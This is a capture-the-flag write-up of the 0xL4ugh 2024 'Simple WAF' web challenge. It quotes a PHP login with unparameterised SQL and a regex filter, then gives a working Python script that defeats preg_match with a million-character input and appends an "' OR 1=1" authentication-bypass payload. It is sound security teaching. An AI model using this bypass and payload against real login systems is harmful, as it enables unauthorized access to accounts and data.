siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Simple WAF

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

i whitelisted input values so, i think iam safe : P

Link

Enumeration

Home page:

In here, we can login as an account.

Although this page has 2 links: “Forget password?” and “Sign up”, they both return HTTP status “404 Not Found”:

In the login page, we can try to enter some dummy credentials:

When we entered an incorrect credential, it’ll pop up an alert box with text “Wrong Creds”.

Burp Suite HTTP history:

When we clicked the “Login” button, it’ll send a POST request to / with parameter username, password, and login-submit.

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/0xL4ugh-CTF-2024/Web/Simple-WAF)-[2024.02.11|16:06:45(HKT)]
└> file simple_waf_togive.zip 
simple_waf_togive.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/0xL4ugh-CTF-2024/Web/Simple-WAF)-[2024.02.11|16:06:48(HKT)]
└> unzip simple_waf_togive.zip 
Archive:  simple_waf_togive.zip
  inflating: init.sh                 
   creating: src/
  inflating: src/db.php              
  inflating: src/index.php           
  inflating: Dockerfile              
  inflating: init.db                 

Let’s read through this application’s source code!

Luckily, this application is really simple.

Logic of endpoint / POST request:

[...]
if(isset($_POST['login-submit']))
{
    if(!empty($_POST['username'])&&!empty($_POST['password']))
    {
        $username=$_POST['username'];
        $password=md5($_POST['password']);
        if(waf($username))
        {
            die("WAF Block");
        }
        else
        {
            $res = $conn->query("select * from users where username='$username' and password='$password'");
                                                                    
            if($res->num_rows ===1)
            {
                echo "0xL4ugh{Fake_Flag}";
            }
            else
            {
                echo "<script>alert('Wrong Creds')</script>";
            }
    }

    }
    else
    {
        echo "<script>alert('Please Fill All Fields')</script>";
    }
}
[...]

When we send a POST request with parameter username, password, and login-submit, it’ll check our username value against a “WAF” (Web Application Firewall). After that, it’ll execute a SQL statement to select a user from table users with our provided username and password.

However, the SQL statement didn’t use prepared statement. Hence, it’s vulnerable to SQL injection.

That being said, we should be able to bypass the authentication with a simple SQL injection payload.

But before we do that, let’s check out the waf() function:

[...]
function waf($input)
{
    if(preg_match("/([^a-z])+/s",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}
[...]

In here, our username is being checked against a regular expression pattern with PHP built-in function preg_match().

In the regular expression pattern, it only allows the input is starts with 1 or more lowercase character a through z, and excluding newline characters (s modifier).

Hmm… How can we bypass the WAF to inject our SQL injection payload??

Based on my experience, PHP is a weird language, sometimes it can do really weird stuff, like let’s say the built-in function preg_match().

According to HackTricks, when a very large valid input is being parsed to preg_match(), it’ll just hit the limit and can’t process it. Hence, we can bypass the regular expression check by just sending a large valid input!

Exploitation

Armed with above information, we can write a simple Python script to send a large valid input, and append our SQL injection payload!

#!/usr/bin/env python3
import requests

def main():
    url = 'http://20.115.83.90:1339/'
    payload = 'A' * 1000001
    payload += '\' OR 1=1-- -'
    data = {
        'username': payload,
        'password': 'foobar',
        'login-submit': ''
    }

    response = requests.post(url, data=data)
    responseText = response.text
    if '0xL4ugh{' not in responseText:
        print('[-] The exploit failed...')
        exit(0)

    flag = responseText.split('\n')[0].strip()
    print(f'[+] The exploit worked! Here\'s the flag:\n{flag}')

if __name__ == '__main__':
    main()
┌[siunam♥Mercury]-(~/ctf/0xL4ugh-CTF-2024/Web/Simple-WAF)-[2024.02.11|16:49:12(HKT)]
└> python3 exploit.py
[+] The exploit worked! Here's the flag:
0xL4ugh{0ohh_You_Brok3_My_Wh1te_List!!!}

Conclusion

What we’ve learned:

  1. PHP built-in function preg_match() bypass